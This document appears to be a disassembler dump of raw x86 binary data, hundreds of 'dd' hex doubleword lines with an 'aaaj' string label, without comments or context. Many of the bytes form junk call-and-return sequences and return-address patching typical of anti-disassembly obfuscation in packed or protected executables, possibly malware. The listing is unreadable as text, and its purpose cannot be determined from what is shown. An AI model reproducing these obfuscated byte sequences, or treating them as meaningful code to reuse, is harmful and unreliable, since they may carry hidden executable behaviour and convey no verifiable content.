dd 5, 0A344E5F2h, 60858D89h, 0E8064B7Fh, 12h, 7EA853FEh
dd 0C9F1C2A2h, 0EB59D17Eh, 6CEF46A8h, 0F18B58A2h, 6AD0FF5Eh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 21FCC357h, 0C0EC192h, 89355654h, 4827E18Dh
dd 41958B06h, 89064813h, 4808F185h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 25D9D1FEh
dd 0DB08A46Fh, 85C67E76h, 6480FF9h, 0B5958B53h, 0E8064830h
dd 4, 88986AFCh, 5050D18Bh, 0FF08B52h, 12E831h, 52F10000h
dd 0F4121BAAh, 0D2D5CE02h, 0B98D3374h, 0E04B4B64h, 8E8h
dd 90F2CD00h, 19D0ADEDh, 5A5E5E03h, 24448B58h, 8860F04h
dd 52000000h, 8D0Fh, 8B5E0000h, 0D78B6600h, 4244489h, 0D18B6653h
dd 8166585Eh, 0FF17C4F6h, 4829A9B5h, 0D5B58906h, 8D06482Bh
dd 4B7F6085h, 0FFF08B06h, 52006AD0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 5D717052h
dd 0BF568E2Dh, 858DF78Bh, 64B390Bh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 9EC35343h, 25F5DFAFh, 3198529h
dd 0AE90648h, 7C000000h, 92055E29h, 0EE7E3C7Dh, 39858904h
dd 0F064820h, 489h, 0B7BE6600h, 6A206AECh, 3995FFFFh, 35064820h
dd 53504149h, 5B585C7h, 10648h, 85C70000h, 6480D9Dh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 92C35242h
dd 70C3B137h, 0B1022938h, 29BD8920h, 8306482Bh, 48202DBDh
dd 840F0006h, 36h, 858B4AB6h, 6480FD9h, 1535B52Bh, 0A3640648h
dd 0
dd 27919D31h, 858B0648h, 6480A31h, 0BD89D08Bh, 64823EDh
dd 0B589E08Bh, 64808E1h, 13A9B58Bh, 0BD830648h, 6482BD9h
dd 19850F00h, 0B2000003h, 85C6F901h, 6480FF9h, 0C368F556h
dd 818A0D46h, 0EA1C2404h, 6A1FB7h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 763251C3h, 4A27EF47h
dd 0FFE7D9B3h, 4829A9B5h, 8DF08B06h, 4B7F6085h, 61F86006h
dd 0AE9D0FFh, 7000000h, 0C35367EFh, 0DEDAA05Ah, 25B65086h
dd 8B240489h, 482A59B5h, 0C18D8D06h, 8B064811h, 4817F995h
dd 918D8906h, 9106480Bh, 0DE950h, 0F890000h, 3273BC9Fh
dd 11929170h, 918EA212h, 3DBBF281h, 46A2FBAh, 0E8F7BF0Fh
dd 4, 1000h, 5350F18Bh, 5AD38B66h, 424448Bh, 53525060h
dd 0E9310F59h, 8, 6A9457BBh, 6548AD95h, 0E4BE585Ah, 615248C9h
dd 0BA66008Bh, 4489B456h, 8E90424h, 0CE000000h, 0A72D4CC4h
dd 58AE84C9h, 0B5FFD18Ah, 6481345h, 12AD958Bh, 0D0FF0648h
dd 1345BD8Bh, 0B5890648h, 6480519h, 6A3C7F03h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 8577C353h, 0F8C781h, 47C70000h, 2024h, 25958B60h, 83064810h
dd 4F62CCBDh, 840F0006h, 10Bh, 809B52Bh, 14E90648h, 71000000h
dd 0B5673192h, 93A797D5h, 23BE7238h, 5DAA8455h, 83E81B58h
dd 85BA28C7h, 0C742E0EFh, 696A2E07h, 447C764h, 617461h
dd 6870Fh, 880F0000h, 0
dd 62D4858Bh, 4789064Fh, 1D85290Ch, 8B064806h, 4F62D885h
dd 858B6006h, 6482299h, 5E56F560h, 47896161h, 28C78308h
dd 0C7F0BF0Fh, 6F632E07h, 14E86Eh, 51C10000h, 40D0FE08h
dd 723FA81Ah, 5965A00Bh, 5D15B5A7h, 5AF98EA9h, 660447C7h
dd 6A006769h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 8B22C351h, 4F62D085h, 89F18B06h
dd 0EE90C47h, 12000000h, 268DCECAh, 0FBAD062Fh, 617B6CF6h
dd 0CC858BB8h, 8B064F62h, 48101D95h, 8478906h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 26C35545h, 0D47E824Eh
dd 0AE9h, 4329F00h, 1BE13AEFh, 58FB2023h, 2991B533h, 8D8D0648h
dd 64830A9h, 45958Bh, 0E9500648h, 10h, 88D11FB1h, 1E6BFD31h
dd 0A9EF89B8h, 81C29228h, 29240C89h, 4829B18Dh, 0C1B5FF06h
dd 6A064811h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 5F4DC353h, 95A5A5F5h, 812A595Eh
dd 6850F60h, 9000000h, 4810E9B5h, 5E686106h, 5326805Bh
dd 815A31B2h, 4B5E2434h, 11E92680h, 33000000h, 0EE9953A5h
dd 9AD1212Dh, 0F5DFAF9Eh, 0EFC57325h, 6DC28166h, 45B5FF81h
dd 89064813h, 480D319Dh, 6AD0FF06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1B39C351h
dd 2158B39Bh, 0E281F78Ah, 2B04C5EEh, 0B8h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 0D7517604h, 0C00B9B68h, 29840Fh, 0B58B0000h, 6481A41h
dd 2B5DB5FFh, 8A0F0648h, 4, 48AABA66h, 0E7195FFh, 800F0648h
dd 1, 21958BF5h, 8B064827h, 52006AC0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0AD2567A1h
dd 958BCB58h, 6482B35h, 1299BD83h, 75000648h, 35BD8309h
dd 6480Dh, 53501974h, 2DB8C08Bh, 89000004h, 482FF985h
dd 0CB9D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh, 17740006h
dd 2DB85350h, 89000004h, 482FF985h, 6C9D8D06h, 0FF064AA1h
dd 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0B02EC356h, 18C28104h, 6A30AB26h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0C03C355h, 950B6EBBh, 6480E85h, 6AC08Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8B4707C3h, 4704EBC0h, 0E977D31Bh, 4CCh, 2C4C43E2h, 95F7F270h
dd 197B66F9h, 8CECE58Dh, 0F7959410h, 33BF87ECh, 0A046523Eh
dd 2ECBC7A5h, 0D65D492Bh, 8B22B1D3h, 739D7533h, 2AFD437Ch
dd 4140EC80h, 5EE17330h, 0DD753243h, 1EA0B63Dh, 0B4357203h
dd 61946821h, 0CEFBCA0h, 0FF7B09A6h, 61029EFAh, 0A5BEF362h
dd 5359D3DCh, 7667217Dh, 0A757624h, 0FA96258Dh, 7F0D7A79h
dd 2C65F0F5h, 5A19B93h, 406FC73Ah, 0FBD36A69h, 762490BDh
dd 3F4C49EBh, 0CD65027Eh, 6A012C93h, 24905414h, 0AF076076h
dd 274540E3h, 0A9CBCE6Bh, 7170FDh, 82F3EE70h, 38494CF6h
dd 5ECACD68h, 0DFADDAC9h, 0B13D5A57h, 3B5235CAh, 760702A1h
dd 702FA109h, 6E0A0DA8h, 0C5B2B132h, 24913075h, 0FCA31F76h
dd 0E15053C8h, 4989DDh, 85120000h, 3C8AFBFEh, 7624327Ah
dd 82A219D5h, 0DDE10E99h, 143h, 0FF85D800h, 0D80E9C0Eh
dd 71FED9EEh, 58DB7500h, 0E74F2C5Dh, 0FF8C892Bh, 881F05ADh
dd 446F1C9Dh, 61032996h, 0EB880464h, 7B158CECh, 4A4FEBE5h
dd 804265CDh, 0D84F5AECh, 2432C286h, 0C9610E76h, 0DFACAD49h
dd 552227CDh, 648C734Dh, 0EFBBD9D8h, 60304144h, 0BE55C0DFh
dd 33115727h, 0D0DF7624h, 2432C682h, 0E1A7F776h, 0EF762432h
dd 1FB7F080h, 637E0090h, 0EAFC8612h, 7F3C4D48h, 0E0DA81FEh
dd 5D09E23Bh, 104DC6EEh, 8697DDE1h, 0C000000h, 0D395E980h
dd 4762432h, 2432EEAAh, 0CFBDFA76h, 0E28E0AA0h, 0C20378EFh
dd 0C402F6F9h, 235051D1h, 4E6DC542h, 0C1BEAD32h, 0A14B30EAh
dd 28640405h, 0ACFC8D8Ch, 537C0D04h, 70C38E7h, 94DDE1C4h
dd 0D47A7DF8h, 5308h, 0F9859300h, 4CD36DF8h, 0EB432051h
dd 9C27B9CCh, 0F8B00E99h, 0C4762432h, 0FA8713BBh, 3F484FF4h
dd 0A5766242h, 0C9A6271Ah, 0E8C65D48h, 7624AFB0h, 0E1DB733Ch
dd 644AF63Ah, 3E5ADBDEh, 0FAFF8595h, 32783D8Dh, 1BD77624h
dd 0E9B80A4h, 141DDE1h, 0DA000000h, 96E7E285h, 0D7A79FAh
dd 0CC13C88Ah, 1CB2B530h, 9CFCEB7Ch, 0CE59033Ch, 6C46C9F0h
dd 1D6A157Ch, 76E1E48Fh, 46C98FDFh, 9C177C6Ch, 96F94CBBh
dd 1A9563Ah, 8B8E3561h, 902A6CFAh, 21AD7C6Ch, 250DB67Ah
dd 88E98683h, 0B63D690Bh, 0DB6C2B3h, 4F217936h, 0ACAB4890h
dd 53F72CCCh, 0FF2DDBA9h, 76000000h, 49DC7EB9h, 6C41B075h
dd 0A7B047Ch, 54E8F57Eh, 0BDFBABAEh, 0B7C6C40h, 0E178EF6Ch
dd 4134744Ah, 0E7807C6Ch, 6C40F1B7h, 4441A7Ch, 0D07C6C41h
dd 4EDAA5D7h, 7909A1A4h, 0F283862Dh, 68151DA6h, 0E8A0FE69h
dd 0F47C6C40h, 2F7D0A8Bh, 0A2FE8F82h, 90911101h, 833F6213h
dd 2D9F07DCh, 0A09AA7Eh, 55CE6Eh, 318FDBA9h, 14000000h
dd 4ED97BB9h, 24338870h, 149F3176h, 0AB036011h, 0F5F0730Fh
dd 0F1B70774h, 36762432h, 1321C784h, 2088E671h, 4C762433h
dd 63B74123h, 2C000000h, 4D44EC80h, 6C2E09E5h, 4E6CA5F9h
dd 39D7C6Ch, 0ACCC6267h, 49E3B2C3h, 8B07AFAAh, 138FEDE8h
dd 56E49590h, 7C6C4F0Dh, 1DC78436h, 68049396h, 4161C9C8h
dd 198C4E69h, 0BBB95D45h, 9FEC8B82h, 1263660Dh, 0D518C773h
dd 514FBE3Bh, 7A6E6755h, 0E380F17Eh, 2C8F34Bh, 0BAD73B93h
dd 96117C7Ah, 7EB9690Ah, 0BB749DCh, 0A8387936h, 317E0F0Ah
dd 40A2FC99h, 0A87C739Eh, 3FC458CFh, 97D1AD38h, 257C739Dh
dd 0B5C7F45Ah, 3D690B0Eh, 101EA0B6h, 9213908Fh, 94E55E5h
dd 6F23EE10h, 0DACB68B0h, 0E9B9BC46h, 0EDF732AFh, 6CEA863Dh
dd 3A99AA0Eh, 405C3CBDh, 210AB7A3h, 0F8310B4Dh, 51DED9EDh
dd 38D4A3D0h, 39D44FA6h, 754C5E0h, 0C0603086h, 215E4DD2h
dd 13B2C340h, 0B330F8A7h, 758CCCA2h, 5F58EDF7h, 5DE6B2DEh
dd 255E2946h, 0C992A566h, 6D6C08D3h, 32846ECh, 0AF000000h
dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh
dd 1704h, 68242C89h, 1D0h, 51240489h, 0C181E189h, 4, 8704E983h
dd 895C240Ch, 0B951240Ch, 29963615h, 5D72F181h, 0C8892FD9h
dd 83240C8Bh, 0B46804C4h, 89000045h, 4812424h, 424h, 68535900h
dd 8, 89CB015Bh, 0C8B5B03h, 0E1895124h, 4C181h, 0C1810000h
dd 4, 5C240C87h, 5724048Bh, 0C781E789h, 4, 4C781h, 3C870000h
dd 4AE95C24h, 47FFF90Eh, 356C38BDh, 77CDF67Ah, 4F6FA6B8h
dd 0FFC50306h, 0F3E9B2E0h, 33CCC37Bh, 3DC96B32h, 5AE3414h
dd 7E66331Bh, 773FCD1Eh, 1C52D24Ch, 9C335C4Dh, 3614D953h
dd 1A5E7A02h, 57E5820Eh, 778DF209h, 0A7D01F69h, 491E2871h
dd 6709B86Ch, 9E822h, 0CBD80000h, 0C9D9AD8Ch, 59903F96h
dd 0CEB96660h, 0D2BF0F79h
dd 31C18161h, 5700006Dh, 0FE8h, 82F82000h, 1C2A0278h, 23A8BE29h
dd 0B8C2131Fh, 840Fh, 5A5B0000h, 1B1168h, 0AE800h, 78220000h
dd 339F2CA2h, 58F394CEh, 585BDCB2h, 12E8h, 7DE5E500h, 93F45E5h
dd 59C6FDDAh, 82FE842h, 0E8C8A27Ch, 0Eh, 206501A5h, 3A8465ADh
dd 0A9265FA8h, 5A5B68E1h, 8B0F318Bh, 0Fh, 0AE9h, 817C3D00h
dd 7D143A28h, 8183A89Eh, 0C35AB3C6h, 81F08A2Ah, 0A0CDBFC6h
dd 5E828h, 98EA0000h, 0FCFA14E9h, 0E5EE815Ah, 575599F3h
dd 5AD78B66h, 0FE93189h, 46000000h, 6EBA3CD9h, 0B5B91CDAh
dd 13FA1377h, 0E983CFCFh, 5E804h, 65040000h, 609A4BB5h
dd 5F506160h, 0E8815F61h, 1, 0FF8E850Fh, 8060FFFFh, 8D6126D4h
dd 4F72168Dh, 41BD8B06h, 8906480Fh, 4814058Dh, 25B58906h
dd 0C7064817h, 48302585h, 70F806h, 19958900h, 0C706481Ch
dd 482AD985h, 6, 0AE800h, 35EF0000h, 0DC0ABEFBh, 58443C43h
dd 0CDB52960h, 66064830h, 613B77BBh, 198D295Ah, 0FF064810h
dd 481221B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 7195FFB3h, 6A06480Eh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0AE1CC351h
dd 11DBF903h, 635D0B9h, 95FF006Ah, 648092Dh, 3AEBC08Bh
dd 6C25C4EDh, 77E8790h, 8E949B5Eh, 0C7D5259Fh, 737492F2h
dd 0C6CA1A6Ah, 13FF8928h, 451F85A2h, 0BDD9F921h, 7DAA246Ah
dd 0DFD97B44h, 5DB1E9FFh, 0A43AD8EDh, 3207A235h, 0C08B911Ch
dd 15Ch dup(0)
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F2C35646h
dd 14E9F9F9h, 25000000h, 7B8D15A5h, 84D7DDE0h, 50EA48ACh
dd 1452232Dh, 0F0A3795h, 0C83h, 6890F00h, 0F000000h, 83h
dd 0E870F00h, 60000000h, 0CB24EE81h, 8C0F3914h, 0
dd 66609D61h, 0E960D88Bh, 12h, 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh
dd 0FAEE3C0Dh, 840FBAA0h, 0
aAaaj db 'aaaj',0
db 57h, 0E8h, 3
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 8E65C357h, 880F251Eh, 1, 6A5DFCFCh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5F7AC350h
dd 7FA31218h, 6E960FCh, 8000000h, 30F36C4Eh, 44016161h
dd 6A0824h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0F30FADC3h, 58F98A65h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0DCC35242h, 0F5FC6755h, 9E9h
dd 1002EE00h, 781BC8EAh, 0C39D7D85h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0F4C35141h, 47D8500Fh, 0DFBF8D11h
dd 6AF945h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0B07C96C3h, 0FE960F9h, 0BF000000h, 91E05F92h
dd 0EA9C7C22h, 0BBE0E91Ch, 0B70FEAD2h, 0C08B61FBh, 10E860h
dd 0CA330000h, 922ECE5h, 7FD65187h, 5DFFF349h, 11E9045Bh
dd 0C1000000h, 81B6EF30h, 28D89BA2h, 9094953Bh, 0E086AA3Fh
dd 0A5CA815Bh, 617DE63Bh, 0D88166FCh, 0BF0FC7FEh, 11E9F0h
dd 6E290000h, 24D470CFh, 7E3653ECh, 0FEA60C20h, 507117E6h
dd 5023B950h, 595819A9h, 1DD78060h, 0EE8h, 0F4938300h
dd 68444C4Dh, 0B5CC4DEh, 0E807185Ah, 0Eh, 0A79412FBh, 16407C46h
dd 352B51E2h, 5E58746Fh, 830F6061h, 2, 0C68099B0h, 8B0F617Fh
dd 2, 59BF61B1h, 806ADCB9h, 7E84AF7h, 0FE000000h, 86D6B6EAh
dd 8B66AD84h, 0BA665BC2h, 0BA66B971h, 0BF0F8B51h, 0D78166D7h
dd 0F6002EEh, 8166CBBFh, 615C80CAh, 0E9CA8B66h, 13h, 3329DB31h
dd 0D7CA1510h, 0E07A47DBh, 0C10AF522h, 804F6FD6h, 0BF6649CCh
dd 0DE9B7BFh, 0AB000000h, 0E44C6DE0h, 4B0B7BAEh, 0CC039320h
dd 0C181F8F9h, 7CAC850Dh, 8E9h, 0DC9DDE00h, 641EDDCh, 8BFC605Fh
dd 0CC8061CBh, 8BF6B7DFh, 66EA8AF0h, 0DE9D38Bh, 17000000h
dd 3902E183h, 0F972B572h, 6D29ED54h, 8B70D280h, 0F0B70FFBh
dd 66CEBF0Fh, 0E9B417BEh, 5, 91DC4082h, 0F6BF0FE6h, 800CED80h
dd 0FE94CF5h, 0EB000000h, 0B7F581F3h, 9CBC7A3Bh, 0E802D62Ah
dd 0C2805EEFh, 32D981F8h, 604688B7h, 0AC99E681h, 14E930C2h
dd 7F000000h, 0DD9A16C8h, 5E332F59h, 0F109F4EFh, 84D245C6h
dd 6118DC39h, 785BF66h, 0CE8F9h, 0B2A30000h, 0D433AD8Eh
dd 0AE97D6F9h, 0BFB61584h, 8785BF5Fh, 0DE8492Bh, 26000000h
dd 0D7C1ED5Ch, 0BD501A18h, 0D1C1DF1Bh, 0DF12DA81h, 0F5E1AC0h
dd 83h, 11E900h, 0CFA90000h, 3D95FA85h, 4BB669BCh, 79E2AEADh
dd 60EF5D2Bh, 66C0BF0Fh, 61FE73B8h, 9E8h, 8EFF8E00h, 71026990h
dd 8058895Fh, 0E0B518C7h, 0A8D0FF5h, 60000000h, 0CA815A53h
dd 79AEBCF0h, 0E8DA8B61h, 11h, 0A77A6C07h, 829B1C5Ch, 9C947189h
dd 0B41BB482h, 58ADB132h, 0C38B6660h, 6061C38Ah, 3860Fh
dd 0BF0F0000h, 10E8C8h, 21CB0000h, 62E9DEC7h, 7E49300Bh
dd 88FB2F51h, 0EA81A60Bh, 83CF299h, 13E86158h, 0FE000000h
dd 7564730Eh, 0A1B72BCBh, 4A42B345h, 0E5B4D440h, 0B70F7D16h
dd 0BE665EDFh, 0F57AE05h, 286h, 5F30B200h, 0D9816660h
dd 66617665h, 0B0EBE281h, 0B6AC781h, 14E90A65h, 8F000000h
dd 95296D2h, 1A064257h, 23F13C7Eh, 0CD0C5DB6h, 605A0DA5h
dd 14E9F560h, 53000000h, 0D34D051Bh, 976D0DB6h, 56F4466Fh
dd 37F50195h, 6173566Ah, 14E860h, 5DD60000h, 0A416FAECh
dd 6B7A28C1h, 1039D00Dh, 9D81CBFBh, 0F95B2FD5h, 5A506161h
dd 54C28166h, 59B860C5h, 61172FB4h, 0F9CB8B66h, 0EE9h
dd 0D76A8E00h, 0EA7C90FBh, 53B3847Ch, 0BA76B90Fh, 3F5BDB21h
dd 7FD480F8h, 7E9h, 0B3C95C00h, 0CD686906h, 0E8CB8B66h
dd 0Dh, 3B60D229h, 3DC3AC2Dh, 8ACFA88Ah, 0C18B66C2h, 9E8505Eh
dd 0E000000h, 0E799BA59h, 0FEE2251Ah, 5E59D48Ah, 80FB8B66h
dd 8E978DDh, 0F4000000h, 37FCAA9Dh, 0E8E5DEEBh, 0Ch, 1F0C877Eh
dd 9614E582h, 0A628FD5Ch, 9E95Fh, 76E40000h, 26B26B71h
dd 8047CD46h, 0F28123D2h, 23583CCCh, 81663FB6h, 0F345EF7h
dd 484h, 0B4B86600h, 0D4A4BA33h, 0BA664A8Eh, 0BB66A418h
dd 81F975DFh, 29898FC0h, 0CE828h, 7EE60000h, 0CF29150h
dd 0BC6B6B98h, 0E4B9439Fh, 5A22ACFFh, 46B622BFh, 51F7815Ch
dd 8035EB42h, 0E9F905F0h, 14h, 9D562C8Bh, 193F55C4h, 83679FC0h
dd 7190E631h, 0F436197Dh, 60D8B70Fh, 6E9h, 5033E900h, 0E9B62A7Ch
dd 11h, 129DEC2Eh, 31E97F36h, 0D411FC6Ch, 0EC4B6757h, 8B606148h
dd 0CE9C7h, 8DB70000h, 0D885A515h, 11222462h, 8A61F042h
dd 66DC8ACEh, 8E8F38Bh, 0AA000000h, 206B6FB2h, 0FCCA5673h
dd 0CE8B665Fh, 0D2B86660h, 0C08166D7h, 0E9618F74h, 5, 0F6E66F37h
dd 0CA51B9A1h, 13E86A5Fh, 1B000000h, 25400106h, 14ECB710h
dd 0AE6D1A1Fh, 0C33D52A2h, 0F58639Ch, 0C8Eh, 68A0F00h
dd 81000000h, 96A239EAh, 66D48A11h, 8B0FCF8Bh, 6, 0FBFCD381h
dd 8E82CD5h, 27000000h, 58B2FD6Eh, 0FD22686h, 38Bh, 0F98B6600h
dd 12E859h, 8B770000h, 0A8E6F944h, 3B44BD7Bh, 88D11FB1h
dd 1E6BFD31h, 6AB5EA81h, 66580B93h, 621ED081h, 10E9F78Bh
dd 9000000h, 0E3A3A8Eh, 3EC1A277h, 4A628EA1h, 668B0360h
dd 0ED99C881h, 8E8h, 5D259700h, 2A605B39h, 2890FF2h, 0B6000000h
dd 816658D0h, 81FC06F3h, 0B6B61DD0h, 3464BF65h, 0FB8B7910h
dd 0C870Fh, 830F0000h, 6, 870Fh, 8B660000h, 57C2B4F8h
dd 10E9h, 800D1B00h, 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h
dd 820F5F76h, 3, 0E9CFBF0Fh, 6, 46ABB689h, 0C8B62F38h
dd 0CE9h, 580C3200h, 0C2BF5AD0h, 0F6110EACh, 8C0FAAh, 66000000h
dd 880FD38Bh, 0Ah, 5E9h, 7DFE5F00h, 81609270h, 0B35505E6h
dd 0CE8B6656h, 31BE6661h, 48E0F6Ah, 60000000h, 0F615E56h
dd 0BA66F9B7h, 8E9B153h, 5A000000h, 0E63C4590h, 66F32575h
dd 0B96107BBh, 7C4D3B62h, 7E9h, 94768100h, 1838897Bh, 14E8h
dd 0D5470C00h, 54019261h, 3EE50CF5h, 0EE0B307Dh, 0E4672A0Fh
dd 0F575B1Bh, 685h, 8A0F00h, 5F000000h, 0CE857h, 8A6C0000h
dd 237E8BE1h, 8A0BAC95h, 22B622D6h, 0C0BB5A5Eh, 0E84861E6h
dd 0Bh, 6C83B40Ah, 8BC2ACD6h, 661AD1A1h, 5AC8C8BBh, 97CA8166h
dd 0E8CF8BC8h, 12h, 3FB9B657h, 0EDFA21Dh, 9563D742h, 0F8EA206Ch
dd 5056A88Ch, 0F5E5F5Bh, 281h, 66D38B00h, 5E9D68Bh, 0CE000000h
dd 83E9116Bh, 890F6053h, 0
dd 5E61D18Ah, 11E857h, 0BDB40000h, 5B04AE17h, 0E2A9D94Dh
dd 23DE819Ah, 0E82899B5h, 0Fh, 37079D6Bh, 0D55EF98Ch, 0DE2F0EE2h
dd 59919141h, 8B0F595Bh, 19h, 14E9h, 3B39FD00h, 79E9F754h
dd 423883A0h, 0F51FB5D1h, 0D67D9C65h, 8676BB33h, 8D0F6251h
dd 3, 0E9F0BF0Fh, 8, 533EE39Ch, 0AA30D6E8h, 0F5D38B66h
dd 0E5F18166h, 0BB42B926h, 810F467Ah, 3, 52F6BF0Fh, 31EB8166h
dd 81665E29h, 813AD9E1h, 23042AD9h, 4890F68h, 66000000h
dd 661F32B9h, 0E851F28Bh, 0Ch, 1AD67280h, 0A7717A6Eh, 8CE7AB9Dh
dd 860Fh, 5F590000h, 3860Fh, 0F5800000h, 0AE9AAh, 995D0000h
dd 0D4AAE500h, 68D51C96h, 31E337BBh, 60DE8B20h, 3A47E781h
dd 890F0B2Eh, 12h, 0CE8h, 0E7A1D00h, 0E98B0AB7h, 1701A7B5h
dd 0E9615FE2h, 0Dh, 57912FC7h, 2B32649Ah, 0D240581Ch, 8127B471h
dd 4FBFA5D2h, 66DD8A19h, 8097CFBFh, 11E825C5h, 4C000000h
dd 85EE2C5h, 52CBD6C5h, 0CA55E1ECh, 0B797E517h, 6860Fh
dd 870F0000h, 0
dd 0BB66605Ah, 61F93BB7h, 13F780F8h, 0FFFBF0Fh, 0B866F6B7h
dd 0F5805A19h, 0A4CBB9BDh, 0E28054C4h, 0D78BF925h, 12E8h
dd 66000400h, 65752683h, 0FC53321Ch, 0C6C210Eh, 81AA25D2h
dd 6C80B1D6h, 0FE95A18h, 64000000h, 791659B2h, 0B8117847h
dd 9B42EA02h, 0AE89CB8h, 9C000000h, 0FC907BDDh, 0C3BD48D5h
dd 5ACE8B1Ch, 1FC881F5h, 0F84CEC3Fh, 0EA72F781h, 4FB87831h
dd 0F55A2E6Ah, 91C88166h, 6E98Fh, 4ACC0000h, 0D33E63AAh
dd 6870BA66h, 0D34FDAB8h, 7E80Dh, 74BC0000h, 8B982CF5h
dd 66F95BE7h, 531EE81h, 66C0BF0Fh, 0FAF37BFh, 8F0FF0B7h
dd 2, 12E928B2h, 0C8000000h, 0D6FE16C4h, 14CAC07Eh, 0BEB81DCDh
dd 0DFC75829h, 0BE9DDh, 0A31D0000h, 0AA8D8AF0h, 0E4CD65CCh
dd 66CB8BC9h, 8526D981h, 88D0Fh, 8A0F0000h, 2, 0BF66F28Bh
dd 8B66D1E3h, 506060D8h, 0B9EA815Eh, 616F9B85h, 0EDE08166h
dd 78BA6183h, 8B7B849Eh, 0B7BA66F9h, 0FE84Fh, 5FED0000h
dd 955D69D5h, 0DA1BF246h, 2554F1C7h, 0BA6653BCh, 5B5BD634h
dd 1F43A3BAh, 28B0F14h, 8B000000h, 0FA8B66F8h, 0FA7B7F5h
dd 0DCBFD9BFh, 0F12AF9Eh, 0BF66F7BFh, 0BE80060h, 5A000000h
dd 5A23F555h, 0A6F02F80h, 8166E4DAh, 5A0B96F2h, 10E95660h
dd 5B000000h, 2C0868Ah, 0F9D11EA2h, 0A3E6C2A9h, 59A139F3h
dd 0B666BB60h, 13E94436h, 0C1000000h, 0E0B1C2E2h, 96A7E4F3h
dd 191AB31Dh, 1AB4C3D5h, 61617B74h, 8AC18BF8h, 92BF66D9h
dd 0D68B66A6h, 5BC88B53h, 1D810Fh, 810F0000h, 17h, 12E9h
dd 0A98F8C00h, 9C317988h, 52799B89h, 28E4A662h, 0FB50687h
dd 66FCCFBFh, 0F9BABFB9h, 0BB5E51F8h, 5E51A030h, 9E953h
dd 125D0000h, 4C4C35F6h, 59D2D8D5h, 5AF18B52h, 59565360h
dd 0BE959h, 1CB10000h, 0D8E0D0DEh, 0D5383C77h, 0DC8A611Ch
dd 850Fh, 0F600000h, 488h, 20B86600h, 0C6B86683h, 0E78161BDh
dd 3D258D7Dh, 6E8F9h, 32410000h, 0C0A1B886h, 8E95Bh, 6B5F0000h
dd 0DAE26930h, 0C8808718h, 6660FCA7h, 5161C38Bh, 7E9h
dd 853B3800h, 0CFEC209Eh, 0F50B45Eh, 48Ah, 66BA6600h, 0EE85Ch
dd 99150000h, 0A29160C8h, 0F202F00Bh, 0D34E799Fh, 3830Fh
dd 0F6800000h, 0B8665A9Ah, 8C0F53FAh, 5, 50E968B8h, 12E940h
dd 13B50000h, 77F34130h, 0D541BA71h, 5081EFBh, 0CED5D21Ch
dd 83DE8166h, 0CB816645h, 0BF0F427Dh, 0E9DA8BD7h, 0Eh
dd 0BD739D3Fh, 1E6F7F8Ch, 22EFAD4h, 8166A4D0h, 6621FBC0h
dd 12E9DF8Bh, 25000000h, 0D8094D0Bh, 3CDF60D6h, 0D318D640h
dd 0FD8D2F53h, 0E0B1F92Fh, 6652C18Bh, 0B0D5D781h, 0DA81665Ah
dd 870F0920h, 0Eh, 9E9h, 6C18E900h, 5B180E15h, 0BF0F4E31h
dd 0F9F08BC2h, 85CB8166h, 10E993h, 86270000h, 45477C9Bh
dd 0ACADB1D9h, 0F0ACCC43h, 50F8C27Dh, 2880Fh, 0D08B0000h
dd 58A0F58h, 0BA000000h, 2C6C2034h, 0EB6BBB66h, 0AE9h
dd 573E7F00h, 81B1E5A1h, 0E9DE090Bh, 0Fh, 8EC80718h, 2A894D8Bh
dd 0D736DD1h, 66244548h, 0DE9DE8Bh, 0BE000000h, 8E3E84D9h
dd 4EDC27E1h, 7CA5B258h, 0E8ACED80h, 0Bh, 8FE2DC9Bh, 6C3446AFh
dd 8B006AB1h, 11E95EDAh, 89000000h, 0A24753ABh, 20F540B1h
dd 89A76D1Dh, 0B1621FACh, 63E7BA66h, 13E9h, 9B5E0700h
dd 259F8E94h, 92F2C7D5h, 1A6A7374h, 8928C6CAh, 0BBD64BEh
dd 0D8B70F46h, 81661DB6h, 0B9AB6FE9h, 1A8E1C0Bh, 6810FFCh
dd 81000000h, 5D0534E6h, 850F6018h, 0
dd 10E861h, 0D5A00000h, 0ABDB4BD4h, 493E19F5h, 64E5D2CCh
